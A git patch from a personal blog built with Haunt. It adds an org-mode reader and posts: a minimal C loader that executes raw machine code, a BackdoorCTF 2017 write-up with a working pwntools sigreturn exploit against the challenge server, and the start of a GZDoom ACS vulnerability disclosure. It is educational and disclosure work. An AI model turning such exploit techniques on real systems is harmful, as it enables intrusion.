From 6f095e2429b67be5e8357cc73b93a714e760d160 Mon Sep 17 00:00:00 2001 From: "Jakob L. Kreuze" Date: Sat, 6 Jul 2024 18:57:41 -0400 Subject: Initial org-reader re-implementation --- .gitignore | 2 - haunt/haunt.scm | 2 +- haunt/jakob/reader/org-mode.scm | 113 + haunt/posts/.dir-locals.el | 8 + haunt/posts/analyzing-executable-size-part-0.org | 178 ++ haunt/posts/backdoorctf-2017-funsignals.org | 107 + haunt/posts/bad-behavior.org | 188 ++ .../posts/browser-games-aren-t-an-easy-target.org | 654 ++++++ haunt/posts/challenges-re-writeups-1.org | 1238 ++++++++++ haunt/posts/challenges-re-writeups-2.org | 924 ++++++++ haunt/posts/challenges-re-writeups-3.org | 817 +++++++ haunt/posts/challenges-re-writeups-4.org | 1150 ++++++++++ haunt/posts/decompilation-by-hand.org | 193 ++ haunt/posts/dollar-bin-reverse-engineering.org | 751 ++++++ haunt/posts/duke-on-fluidsynth.org | 181 ++ haunt/posts/farewell-kona.org | 74 + ...ressions-of-the-kotlin-programming-language.org | 494 ++++ ...essions-of-the-myrddin-programming-language.org | 412 ++++ ...mpressions-of-the-rust-programming-language.org | 445 ++++ haunt/posts/game-hacking-on-linux-scanmem.org | 8 + haunt/posts/i-love-my-pinephone.org | 2385 ++++++++++++++++++++ haunt/posts/installing-gentoo-one-month-later.org | 124 + .../investigating-a-shellbot-aa-infection.org | 282 +++ haunt/posts/making-your-own-music-player.org | 216 ++ haunt/posts/plaidctf-2019.org | 456 ++++ haunt/posts/pushing-haunt-to-its-limits.org | 1102 +++++++++ ...rse-engineering-babbys-first-archive-format.org | 119 + haunt/posts/rust-on-flipper-zero.org | 810 +++++++ haunt/posts/sdl-tutorial-part-0x00.org | 323 +++ haunt/posts/slime-the-world-postmortem.org | 320 +++ ...oubleshoot-my-usb-drivers-before-i-can-play.org | 254 +++ haunt/posts/thoughts-on-lisps.org | 1067 +++++++++ haunt/posts/towards-guix-for-devops.org | 8 + haunt/posts/transition-to-haunt.org | 70 + haunt/posts/umass-ctf-2020-writeup.org | 285 +++ haunt/posts/umass-ctf-2021-postmortem.org | 342 +++ haunt/posts/umass-ctf-2022.org | 467 ++++ .../posts/understand-game-hacking-in-one-post.org | 181 ++ .../what-ive-learned-about-formal-methods.org | 2118 +++++++++++++++++ haunt/static/image/cbt-2023-04-13.jpg | Bin 0 -> 375364 bytes ...-my-usb-drivers-before-i-can-play-wireshark.png | Bin 0 -> 261565 bytes .../analyzing-executable-size-part-0.org | 178 -- .../backdoorctf-2017-funsignals.org | 107 - org/Bad BEHAVIOR/bad-behavior.org | 188 -- org/Bad BEHAVIOR/debug-prints.png | Bin 2108 -> 0 bytes org/Bad BEHAVIOR/vanilla-hexen-vulnerability.png | Bin 82603 -> 0 bytes .../browser-games-aren-t-an-easy-target.org | 654 ------ .../mitmproxy-initial.png | Bin 54663 -> 0 bytes .../decompilation-by-hand.org | 193 -- ...dollar-bin-reverse-engineering-firmware-mod.jpg | Bin 89507 -> 0 bytes .../dollar-bin-reverse-engineering-m2.jpg | Bin 94065 -> 0 bytes .../dollar-bin-reverse-engineering-mac.jpg | Bin 41466 -> 0 bytes .../dollar-bin-reverse-engineering-manual.jpg | Bin 81706 -> 0 bytes .../dollar-bin-reverse-engineering.org | 751 ------ org/Duke on Fluidsynth/duke-on-fluidsynth.org | 181 -- .../farewell-kona.org | 74 - .../kona-1.jpg | Bin 82999 -> 0 bytes .../kona-2.jpg | Bin 147421 -> 0 bytes .../kona-3.jpg | Bin 271865 -> 0 bytes .../kona-4.jpg | Bin 292957 -> 0 bytes ...ressions-of-the-kotlin-programming-language.org | 494 ---- ...essions-of-the-myrddin-programming-language.org | 412 ---- ...mpressions-of-the-rust-programming-language.org | 445 ---- .../game-hacking-on-linux-scanmem.org | 8 - org/I Love My PinePhone/i-love-my-pinephone.org | 2385 -------------------- .../installing-gentoo-one-month-later.org | 124 - .../investigating-a-shellbot-aa-infection.org | 282 --- .../shellbot-propagation.jpg | Bin 427743 -> 0 bytes .../analog-vs-digital.png | Bin 11919 -> 0 bytes .../making-your-own-music-player.org | 216 -- .../old-webmention-screenshot.png | Bin 109830 -> 0 bytes .../pushing-haunt-to-its-limits.org | 1102 --------- .../rsvp-screenshot.png | Bin 86931 -> 0 bytes .../web-server-traffic.jpg | Bin 79557 -> 0 bytes .../basic-parsing.png | Bin 15718 -> 0 bytes .../binary-dump.png | Bin 61514 -> 0 bytes .../catching-file-reads.png | Bin 407274 -> 0 bytes ...rse-engineering-babbys-first-archive-format.org | 119 - .../xp3-header.png | Bin 9290 -> 0 bytes .../rust-on-flipper-zero.org | 810 ------- .../finished-window.png | Bin 11966 -> 0 bytes .../sdl-tutorial-part-0x00.org | 323 --- .../window.png | Bin 9405 -> 0 bytes .../slime-the-world-postmortem.org | 320 --- ...-my-usb-drivers-before-i-can-play-wireshark.png | Bin 261565 -> 0 bytes ...oubleshoot-my-usb-drivers-before-i-can-play.org | 254 --- .../Lisp Kludge.png | Bin 359511 -> 0 bytes .../lisp-personality-test.png | Bin 7045 -> 0 bytes .../thoughts-on-lisps.org | 1067 --------- .../towards-guix-for-devops.org | 8 - org/Transition to Haunt/transition-to-haunt.org | 70 - .../umass-ctf-2020-writeup.org | 285 --- .../umass-ctf-2021-postmortem.org | 342 --- .../understand-game-hacking-in-one-post.org | 181 -- .../what-ive-learned-about-formal-methods.org | 2118 ----------------- .../challenges-re-writeups-2.org | 925 -------- .../challenges-re-writeups-1.org | 1238 ---------- .../challenges-re-writeups-3.org | 817 ------- .../challenges-re-writeups-4.org | 1150 ---------- org/Writeups for PlaidCTF 2019/plaidctf-2019.org | 456 ---- 100 files changed, 18865 insertions(+), 18280 deletions(-) create mode 100644 haunt/jakob/reader/org-mode.scm create mode 100644 haunt/posts/.dir-locals.el create mode 100644 haunt/posts/analyzing-executable-size-part-0.org create mode 100644 haunt/posts/backdoorctf-2017-funsignals.org create mode 100644 haunt/posts/bad-behavior.org create mode 100644 haunt/posts/browser-games-aren-t-an-easy-target.org create mode 100644 haunt/posts/challenges-re-writeups-1.org create mode 100644 haunt/posts/challenges-re-writeups-2.org create mode 100644 haunt/posts/challenges-re-writeups-3.org create mode 100644 haunt/posts/challenges-re-writeups-4.org create mode 100644 haunt/posts/decompilation-by-hand.org create mode 100644 haunt/posts/dollar-bin-reverse-engineering.org create mode 100644 haunt/posts/duke-on-fluidsynth.org create mode 100644 haunt/posts/farewell-kona.org create mode 100644 haunt/posts/first-impressions-of-the-kotlin-programming-language.org create mode 100644 haunt/posts/first-impressions-of-the-myrddin-programming-language.org create mode 100644 haunt/posts/first-impressions-of-the-rust-programming-language.org create mode 100644 haunt/posts/game-hacking-on-linux-scanmem.org create mode 100644 haunt/posts/i-love-my-pinephone.org create mode 100644 haunt/posts/installing-gentoo-one-month-later.org create mode 100644 haunt/posts/investigating-a-shellbot-aa-infection.org create mode 100644 haunt/posts/making-your-own-music-player.org create mode 100644 haunt/posts/plaidctf-2019.org create mode 100644 haunt/posts/pushing-haunt-to-its-limits.org create mode 100644 haunt/posts/reverse-engineering-babbys-first-archive-format.org create mode 100644 haunt/posts/rust-on-flipper-zero.org create mode 100644 haunt/posts/sdl-tutorial-part-0x00.org create mode 100644 haunt/posts/slime-the-world-postmortem.org create mode 100644 haunt/posts/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org create mode 100644 haunt/posts/thoughts-on-lisps.org create mode 100644 haunt/posts/towards-guix-for-devops.org create mode 100644 haunt/posts/transition-to-haunt.org create mode 100644 haunt/posts/umass-ctf-2020-writeup.org create mode 100644 haunt/posts/umass-ctf-2021-postmortem.org create mode 100644 haunt/posts/umass-ctf-2022.org create mode 100644 haunt/posts/understand-game-hacking-in-one-post.org create mode 100644 haunt/posts/what-ive-learned-about-formal-methods.org create mode 100644 haunt/static/image/cbt-2023-04-13.jpg create mode 100644 haunt/static/image/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png delete mode 100644 org/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org delete mode 100644 org/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org delete mode 100644 org/Bad BEHAVIOR/bad-behavior.org delete mode 100644 org/Bad BEHAVIOR/debug-prints.png delete mode 100644 org/Bad BEHAVIOR/vanilla-hexen-vulnerability.png delete mode 100644 org/Browser Games Aren't an Easy Target/browser-games-aren-t-an-easy-target.org delete mode 100644 org/Browser Games Aren't an Easy Target/mitmproxy-initial.png delete mode 100644 org/Decompilation By Hand/decompilation-by-hand.org delete mode 100644 org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-firmware-mod.jpg delete mode 100644 org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-m2.jpg delete mode 100644 org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-mac.jpg delete mode 100644 org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-manual.jpg delete mode 100644 org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering.org delete mode 100644 org/Duke on Fluidsynth/duke-on-fluidsynth.org delete mode 100644 org/Farewell, Kona, My Life-Long Companion/farewell-kona.org delete mode 100644 org/Farewell, Kona, My Life-Long Companion/kona-1.jpg delete mode 100644 org/Farewell, Kona, My Life-Long Companion/kona-2.jpg delete mode 100644 org/Farewell, Kona, My Life-Long Companion/kona-3.jpg delete mode 100644 org/Farewell, Kona, My Life-Long Companion/kona-4.jpg delete mode 100644 org/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org delete mode 100644 org/First Impressions of the Myrddin Programming Language/first-impressions-of-the-myrddin-programming-language.org delete mode 100644 org/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org delete mode 100644 org/Gaming Hacking on Linux - scanmem Basics/game-hacking-on-linux-scanmem.org delete mode 100644 org/I Love My PinePhone/i-love-my-pinephone.org delete mode 100644 org/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org delete mode 100644 org/Investigating a Backdoor.SH.SHELLBOT.AA Infection/investigating-a-shellbot-aa-infection.org delete mode 100644 org/Investigating a Backdoor.SH.SHELLBOT.AA Infection/shellbot-propagation.jpg delete mode 100644 org/Making Your Own Music Player: A Gentle Introduction to Audio Programming/analog-vs-digital.png delete mode 100644 org/Making Your Own Music Player: A Gentle Introduction to Audio Programming/making-your-own-music-player.org delete mode 100644 org/Pushing Haunt to Its Limits/old-webmention-screenshot.png delete mode 100644 org/Pushing Haunt to Its Limits/pushing-haunt-to-its-limits.org delete mode 100644 org/Pushing Haunt to Its Limits/rsvp-screenshot.png delete mode 100644 org/Pushing Haunt to Its Limits/web-server-traffic.jpg delete mode 100644 org/Reverse Engineering Babby's First Archive Format/basic-parsing.png delete mode 100644 org/Reverse Engineering Babby's First Archive Format/binary-dump.png delete mode 100644 org/Reverse Engineering Babby's First Archive Format/catching-file-reads.png delete mode 100644 org/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org delete mode 100644 org/Reverse Engineering Babby's First Archive Format/xp3-header.png delete mode 100644 org/Rust on the Flipper Zero/rust-on-flipper-zero.org delete mode 100644 org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png delete mode 100644 org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org delete mode 100644 org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png delete mode 100644 org/Slime the World: A Postmortem/slime-the-world-postmortem.org delete mode 100644 org/Sorry Guys I Have To Troubleshoot My USB Drivers Before I Can Play With You/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png delete mode 100644 org/Sorry Guys I Have To Troubleshoot My USB Drivers Before I Can Play With You/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org delete mode 100644 org/The Many Faces of an Undying Programming Language/Lisp Kludge.png delete mode 100644 org/The Many Faces of an Undying Programming Language/lisp-personality-test.png delete mode 100644 org/The Many Faces of an Undying Programming Language/thoughts-on-lisps.org delete mode 100644 org/Towards Guix for DevOps/towards-guix-for-devops.org delete mode 100644 org/Transition to Haunt/transition-to-haunt.org delete mode 100644 org/UMass CTF 2020 - suckless Writeup/umass-ctf-2020-writeup.org delete mode 100644 org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem.org delete mode 100644 org/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org delete mode 100644 org/What I've Learned About Formal Methods In Half a Year/what-ive-learned-about-formal-methods.org delete mode 100644 org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#12-#22)/challenges-re-writeups-2.org delete mode 100644 org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org delete mode 100644 org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#23-#35)/challenges-re-writeups-3.org delete mode 100644 org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#36-#74)/challenges-re-writeups-4.org delete mode 100644 org/Writeups for PlaidCTF 2019/plaidctf-2019.org diff --git a/.gitignore b/.gitignore index b5dd6d4..b5aa0e4 100644 --- a/.gitignore +++ b/.gitignore @@ -1,10 +1,8 @@ .stfolder publish.sh -/haunt/images/* !/haunt/images/favicon.png -/haunt/posts/ /haunt/pages/*.html /haunt/repositories/ /haunt/site/ diff --git a/haunt/haunt.scm b/haunt/haunt.scm index f03111d..6d2aacb 100644 --- a/haunt/haunt.scm +++ b/haunt/haunt.scm @@ -45,7 +45,7 @@ '((author . "Jakob L. Kreuze") (email . "zerodaysfordays@sdf.lonestar.org")) #:make-slug post-slug-v2 - #:readers (list html-reader-prime sxml-reader) + #:readers (list html-reader-prime org-mode-reader sxml-reader) #:builders (list (atom-feed #:max-entries 1024) (blog) diff --git a/haunt/jakob/reader/org-mode.scm b/haunt/jakob/reader/org-mode.scm new file mode 100644 index 0000000..2faeef3 --- /dev/null +++ b/haunt/jakob/reader/org-mode.scm @@ -0,0 +1,113 @@ +;;; Copyright © 2019 - 2024 Jakob L. Kreuze +;;; +;;; This program is free software; you can redistribute it and/or +;;; modify it under the terms of the GNU General Public License as +;;; published by the Free Software Foundation; either version 3 of the +;;; License, or (at your option) any later version. +;;; +;;; This program is distributed in the hope that it will be useful, +;;; but WITHOUT ANY WARRANTY; without even the implied warranty of +;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +;;; General Public License for more details. +;;; +;;; You should have received a copy of the GNU General Public License +;;; along with this program. If not, see +;;; . + +;;; Commentary: +;;; +;;; Reader for Org syntax which invokes `org-export' via the Emacs daemon for +;;; rendering and metadata extraction. +;;; +;;; Code: + +(define-module (jakob reader org-mode) + #:use-module (ice-9 match) + #:use-module (ice-9 popen) + #:use-module (ice-9 regex) + #:use-module (ice-9 textual-ports) + #:use-module (srfi srfi-1) + #:use-module (srfi srfi-19) + #:use-module (srfi srfi-26) + #:use-module (haunt reader) + #:use-module (ice-9 match) + #:use-module (sxml simple) + #:export (org-mode-reader)) + +(define (rewrite-image-urls subtree) + (match subtree + (('img ('@ ('src src) attrs ...)) + (let* ((src (if (string-prefix? "./" src) + (substring src 2) + src)) + (src (string-append "/static/image/" src))) + `(img (@ (src ,src) ,@attrs)))) + ((elems ...) + (map rewrite-image-urls elems)) + (elem elem))) + +(define (eval-in-emacs form) + "Evaluate FORM in the current Emacs (daemon) session and return the result" + (let* ((stringified (call-with-output-string (cut write form <>))) + (port (open-pipe* OPEN_READ "emacsclient" "-e" stringified)) + (result (read port)) + (result (if (eqv? result 'nil) + '() + result))) + (if (eqv? 0 (status:exit-val (close-pipe port))) + result + (error "could not eval" form)))) + +(define (render-org-mode-file file-name) + (define output-port (mkstemp! (string-copy "/tmp/emacs-eval-XXXXXX"))) + (define result + (eval-in-emacs + `(save-excursion + (let ((enable-local-variables :all)) + (set-buffer (find-file-noselect ,file-name))) + (setq-local org-export-filter-latex-fragment-functions + (list (lambda (data backend channel) + (org-html-encode-plain-text data)))) + (let ((result (org-export-as 'html nil nil t))) + (with-temp-buffer + (insert result) + (write-region (point-min) (point-max) ,(port-filename output-port))))))) + (define parsed (call-with-input-file (port-filename output-port) get-string-all)) + (format #f "~a" parsed)) + +(define %default-additional-keys + '("CROSSPOST" "SCRIPTS" "META-TAGS")) + +(define* (extract-org-mode-metadata file-name + #:optional + (additional-keys %default-additional-keys)) + `(,@(map (match-lambda + (("DATE" date) `(date . ,(string->date date "<~Y-~m-~d ~a ~H:~M>")))) + (eval-in-emacs + `(save-excursion + (let ((enable-local-variables :all)) + (set-buffer (find-file-noselect ,file-name))) + (org-collect-keywords '("DATE"))))) + ,@(map (match-lambda + (("TAGS" tags) `(tags . ,(string-split tags #\space)))) + (eval-in-emacs + `(save-excursion + (let ((enable-local-variables :all)) + (set-buffer (find-file-noselect ,file-name))) + (org-collect-keywords '("TAGS"))))) + ,@(map (match-lambda + ((key value) `(,(string->symbol (string-downcase key)) . ,value))) + (eval-in-emacs + `(save-excursion + (let ((enable-local-variables :all)) + (set-buffer (find-file-noselect ,file-name))) + (org-collect-keywords ',(append '("TITLE") additional-keys))))))) + +(define (read-org-mode-post file-name) + (values (extract-org-mode-metadata file-name) + (match (call-with-input-string (render-org-mode-file file-name) xml->sxml) + (('*TOP* ('html sxml ...)) (rewrite-image-urls sxml))))) + +(define org-mode-reader + (make-reader (make-file-extension-matcher "org") + read-org-mode-post)) diff --git a/haunt/posts/.dir-locals.el b/haunt/posts/.dir-locals.el new file mode 100644 index 0000000..211fd8b --- /dev/null +++ b/haunt/posts/.dir-locals.el @@ -0,0 +1,8 @@ +((org-mode . ((org-html-doctype . "xhtml5") + (org-html-html5-fancy . t) + (org-html-with-latex . 'verbatim) + (org-export-with-toc . nil) + (org-export-with-section-numbers . nil) + (org-export-with-sub-superscripts . nil) + (ox-haunt-base-dir . "/home/jakob/Blog/haunt/") + (ox-haunt-images-dir . "/static/image/")))) diff --git a/haunt/posts/analyzing-executable-size-part-0.org b/haunt/posts/analyzing-executable-size-part-0.org new file mode 100644 index 0000000..aa65f9f --- /dev/null +++ b/haunt/posts/analyzing-executable-size-part-0.org @@ -0,0 +1,178 @@ +#+TITLE: Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader +#+DATE: <2017-07-31 Mon 13:35> +#+TAGS: writeup programming operating-systems c linux + +#+BEGIN_EXPORT html +
+

This was intended to be a series describing trends in programming language + technology and how they relate to an increase in the average size of + executable files. It never materialized beyond this initial post. + + And, as of 2022, I find it unlikely that I will come back to complete the + series. We have seen a renewed interest in linkers and loaders + (cf. mold), but I never + intended to discuss linkers and loaders in this series beyond the purpose of + ELF metadata. It warrants treatment, but I would like to approach it without + the baggage of this first post. + + As for the idea that trends in compiler technology are affecting binary + size: it is not as interesting as one may think. The bottom-line is that + modern technologies tend to bring a runtime along with them, often more + accommodating than the C runtime. The binary necessarily contains this + runtime and is therefore larger. I don't think it's as much of a problem as + folks make it out to be, and my past self seems to be somewhat cognizant of + that.

+
+#+END_EXPORT + +It seems that static linking is back in style, or at least popular among all the +hip new programming languages of today. I don't have anything against statically +linked binaries, nor do I have a problem with larger executables, but I've +noticed that the acceptable size for an executable is a lot larger now than it +was a few years ago; that is, the new kids on the block have significantly more +leeway than their predecessors. For example - a C program that spits out "hello +world" is 7 KB when statically linked to musl. It's 12 KB when dynamically +linked to glibc. The same program in D, where the reference compiler doesn't +allow dynamic linking to the standard library, is 896 KB. A blog post I read +recently about certificate chain verification in Go made a point of praising the +toolchain for being able to spit out a binary that was "less than 6 MB!" I'm +being more facetious than with my D example, as this was statically linked to an +SSL-capable web server, but 6 MB is a little over half the size of a +[[https://en.wikipedia.org/wiki/Tiny_Core_Linux][fully-functioning operating system]]. I'm not so interested in why we settle +binaries the size of a few videos, but instead I'd like to look at why they're +that large to begin with. To peer in and see what wealth of information is +stored inside, and how certain programming languages make use of that +information. + +Perhaps we should first take a step back. What is a binary, anyway? It's a +structured format, not much different than your typical PNG or Ogg file, +containing some machine code instructions and directives for how the program +should be loaded into memory. The task of parsing the binary and actually +loading it is done by a *loader*, though that's a pretty broad term. My favorite +book on this subject, /Linkers and Loaders/ by John R. Levine, defines a loader +as a program to "copy a program from secondary storage (which since about 1968 +invariably means a disk) into main memory so it's ready to be run. In some cases +loading just involves copying the data from disk to memory, in others it +involves allocating storage, setting protection bits, or arranging for virtual +memory to map virtual addresses to disk pages." + +Loaders are everywhere, as you can probably imagine. Maybe you've heard of a +boot loader; those are for getting a kernel into memory from the strange and +unfamiliar land of x86 real mode. Whenever you run a program on Linux, it's +loaded by the kernel's ELF loader, of which you can find the source code for at +[[https://github.com/torvalds/linux/blob/master/fs/binfmt_elf.c][=fs/binfmt_elf.c=]] of the kernel source tree. On a higher level, something like +Java has a class loader for getting bytecode into memory so that the JVM can run +it. + +As our first step into the world of loaders, we'll write our own. A very basic +one, at that. I think that because we're taking a look at how much information +can be stored inside of a binary, we should begin with the absolute minimum. It +won't use a structured format, and won't set up memory beyond the stack and a +page for executable code, but not at a specified address of any sort. Where that +code exists in memory isn't known to the program, and it only really knows where +the stack is from the =%rsp= register. We'll simply load some machine code from +a file, and execute it. I'll spare you the per-line explanation I usually give, +since it's reasonably simple and the only part you might not understand already +is explained through comments. + +#+BEGIN_SRC c +#include +#include + +#include + + +size_t binary_size(FILE *); + + +int main(int argc, char **argv) { + FILE *fp; + void *exe; + size_t exe_size; + void (*jump)(void); + + if (argc != 2 || (fp = fopen(argv[1], "rb")) == NULL) { + fprintf(stderr, "USAGE: %s [FILE]\n", argv[0]); + return 1; + } + + if ((exe_size = binary_size(fp)) == 0) { + return 1; + } + + /* Because writable memory pages are marked as non-executable by + default, we need to map a new page of memory for our executable + code. We do this by invoking the "mmap" syscall, and getting a + new page from the kernel. */ + exe = mmap(NULL, exe_size, PROT_WRITE | PROT_EXEC, + MAP_SHARED | MAP_ANONYMOUS, -1, 0); + + if (exe == MAP_FAILED) { + fprintf(stderr, "mmap failure.\n"); + return 1; + } + + fread(exe, exe_size, 1, fp); + jump = exe; + jump(); + + munmap(exe, exe_size); + fclose(fp); + return 0; +} + + +/* We'll use some POSIX standard functions because we can and they're + generally safer than fseek and ftell. */ +size_t binary_size(FILE *fp) { + struct stat buf; + + if ((fstat(fileno(fp), &buf) != 0) || (!S_ISREG(buf.st_mode))) { + return 0; + } + + return buf.st_size; +} +#+END_SRC + +Looks good! We can't use any of the binaries on our system to test it out, +though. They're in some structured format like ELF and the header would be +interpreted as code -- probably causing a segmentation fault. Even if it got +past the header without a core dump, the binary probably relies on some absolute +addressing that we didn't set up properly. So instead of running =/bin/ls= +through our program, we'll assemble "hello world." + +#+BEGIN_SRC asm + leaq (%rip), %rax + addq $_msg_end - ., %rax + jmpq *%rax +_msg: + .ascii "Hello, world!\n" +_msg_end: + movq $0x01, %rax + movq $0x01, %rdi + leaq (%rip), %rsi + subq $. - _msg, %rsi + movq $0x0e, %rdx + syscall + ret +#+END_SRC + +What you'll probably notice immediately is that we're forced to write a +position-independent executable. As I mentioned earlier, our loader can't handle +absolute addresses. It can't really handle anything, aside from the most simple +of x86 instructions. We do a =ret= at the very end to return control to the +loader. Nothing left to do now but test it out: + +#+BEGIN_SRC +[jakob@Epsilon ~]$ ./a.out test.bin +Hello, world! +#+END_SRC + +=test.bin= is 64 bytes and takes 0.001s to load and run. I probably could have +made the program smaller, but I think it's a perfectly fine benchmark as we +continue through this series. Keep in mind that 64 bytes is only achievable +because we forget the conveniences of modern loaders. We can only run +position-independent code, there's no separation between data and code segments, +no room for debugging symbols, no write protection on the code segment, nothing. +This is perhaps the most stripped down loader you can get. diff --git a/haunt/posts/backdoorctf-2017-funsignals.org b/haunt/posts/backdoorctf-2017-funsignals.org new file mode 100644 index 0000000..ab8941c --- /dev/null +++ b/haunt/posts/backdoorctf-2017-funsignals.org @@ -0,0 +1,107 @@ +#+TITLE: BackdoorCTF 2017: FUNSIGNALS +#+DATE: <2017-09-24 Thu 12:01> +#+TAGS: writeup security capture-the-flag binary-exploitation x86 linux + +"funsignals" was a 250 point binary exploitation challenge with 58 solves. The +challenge itself was a very trivial example of sigreturn-oriented programming. + +Sigreturn-oriented programming is a means of getting values into certain +registers without having to use ROP gadgets that pop values from the stack. It's +a technique that relies on how UNIX-like operating systems implement signals - +to quote an [[https://lwn.net/Articles/676803/][article from LWN on the subject]], "when a signal is delivered to a +process, execution jumps to the designated signal handler; when the handler is +done, control returns to the location where execution was interrupted. Signals +are a form of software interrupt, and all of the usual interrupt-like accounting +must be dealt with. In particular, before the kernel can deliver a signal, it +must make a note of the current execution context, including the values stored +in all of the processor registers." + +That "execution context" is quite simply a structure stored on the stack, which +is colloquially known as the "sigcontext" structure and is defined in the +architecture-specific headers of the Linux kernel. x86, for example is found at +[[http://elixir.free-electrons.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h][=arch/x86/include/uapi/asm/sigcontext.h=]]. + +We're given a small amd64 Linux binary for the challenge. Its code is only a few +bytes long: + +#+BEGIN_SRC asm :hl_lines 0 +;-- _start: +0x10000000 31c0 xorl %eax, %eax +0x10000002 31ff xorl %edi, %edi +0x10000004 31d2 xorl %edx, %edx +0x10000006 b604 movb $4, %dh +0x10000008 4889e6 movq %rsp, %rsi +0x1000000b 0f05 syscall +0x1000000d 31ff xorl %edi, %edi +0x1000000f 6a0f pushq $0xf +0x10000011 58 popq %rax +0x10000012 0f05 syscall +0x10000014 cc int3 +;-- syscall: +0x10000015 0f05 syscall +0x10000017 4831ff xorq %rdi, %rdi +0x1000001a 48c7c03c0000. movq $0x3c, %rax +0x10000021 0f05 syscall +#+END_SRC + +Don't be intimidated by the use of the seemingly uncommon =syscall= instruction, +the portion before the 'syscall' symbol is equivalent to the following C code. + +#+BEGIN_SRC c :hl_lines 0 +char buf[0x400]; +read(0, buf, 0x400); +sigreturn(); +#+END_SRC + +=sigreturn(2)= is a system call you never use in practice, but as we mentioned +earlier, the process needs to restore the context when it returns from a signal +handler. This is how it's done. =sigreturn(2)= essentially pops the =sigcontext= +structure from the stack and fills the proper registers. Also, that =int3= +instruction should be a hint to us that we'll have to manipulate the instruction +pointer, too, since the program would abort if we hit that. + +A few bytes following the binary's code is a string that sticks out like a sore +thumb: ~fake_flag_here_as_original_is_at_server~. To get the flag, we're going to +want to print out whatever's at that address, which we can do with the =sys_write= +system call. We're going to want to load =0x01=, the syscall number for =sys_write=, +into =%rax=, =0x01= into =%rdi= for =stdout=, =0x10000023= into =%rsi= for the address of +the flag we want to print, and =0x29= into =%rdx= for the approximate length of the +flag. Once the registers are all set up, we're going to want to invoke the +kernel, so we'll set =%rip= to =0x10000015= - where there's a =syscall= instruction +followed by a clean exit. To load all of those registers, we will fill out a +sigcontext frame containing the values. + +Now, I would highly advise against manually packing the =sigcontext= structure, +as there are a few undocumented fields that can and will cause segmentation +faults coming from seemingly nowhere. [[https://docs.pwntools.com/en/stable/][pwntools]] provides the =pwnlib.rop.srop= +package for creating sigcontext frames, and the API is simple enough to +understand just from the exploit code. + +#+BEGIN_SRC python :hl_lines 0 +#!/usr/bin/env python + +from pwn import * + + +SIGCONTEXT = SigreturnFrame(arch="amd64") +SIGCONTEXT.rax = 0x01 +SIGCONTEXT.rdi = 0x01 +SIGCONTEXT.rsi = 0x10000023 +SIGCONTEXT.rdx = 0x29 +SIGCONTEXT.rip = 0x10000015 + +proc = remote("163.172.176.29", 9034) +proc.sendline(bytes(SIGCONTEXT)) +print(proc.recv()) +#+END_SRC + +#+BEGIN_SRC +[jakob@Epsilon funsignals]$ ./exploit.py +[+] Opening connection to 163.172.176.29 on port 9034: Done +b'flag{W3lc0m3_T0_th3_n3w_w0rld_OF_S1gn4l5}' +[*] Closed connection to 163.172.176.29 port 9034 +#+END_SRC + +As an aside, you typically won't have an explicit call to =sigreturn(2)= in the +binary. Sigreturn-oriented programming is most commonly combined with ROP, where +a gadget to load =0xf= into =%rax= and a gadget to perform a syscall are used. diff --git a/haunt/posts/bad-behavior.org b/haunt/posts/bad-behavior.org new file mode 100644 index 0000000..a5c9dbe --- /dev/null +++ b/haunt/posts/bad-behavior.org @@ -0,0 +1,188 @@ +#+TITLE: Bad BEHAVIOR +#+DATE: <2018-01-04 Thu 15:45> +#+TAGS: writeup security binary-exploitation video-games x86 doom + +TL;DR, I discovered a stack-smashing vulnerability in GZDoom's interpreter for +ACS. As a preface, there's a tendency for whitepapers like this in the security +community to be written with a somewhat condescending tone towards the product's +vendor. I do not mean for any portion of this writeup to come off as degrading +to the developers involved. Yes, the bug was obvious to /me/, but it was still +subtle enough that it went under the radar for nearly 23 years. Most developers +aren't actively thinking about this kind of attack while writing a bytecode +interpreter. I have an enormous amount of respect for the development teams of +both GZDoom and Zandronum, who were quick to issue a patch addressing the issue +and were respectful of my wishes to release this whitepaper to the public. I'd +also like to thank everyone I had the pleasure of working with during this +process; it warms my heart to know that the communities behind these open-source +software projects are this friendly. + +Documentation and exploit code are available [[https://git.sr.ht/~jakob/bad-behavior][here]], which is where I would like +to direct any source port maintainers. There is a good chance that your port is +vulnerable, and the patch to fix it is not overly-complicated. + +--- + +It's been a little over a year and a half since my first capture-the-flag +competition. In that time, I've exploited countless binaries, all simulated. +Popping a shell had no impact, no consequences within the real world. Recently, +though, I've experienced somewhat of a wake up call. The day has finally come +that I've discovered a security-critical bug in the wild to call my own. + +The research was impromptu, motivated by a few things I noticed while working +away on a map for Doom. If you want to script events in Doom, such as a boss +spawning and text appearing on the screen when the player flips a switch, you +use a somewhat obscure DSL called [[https://zdoom.org/wiki/ACS][ACS]]. The language was designed in the 90's for +Hexen, a game intended to run on MS-DOS, so the 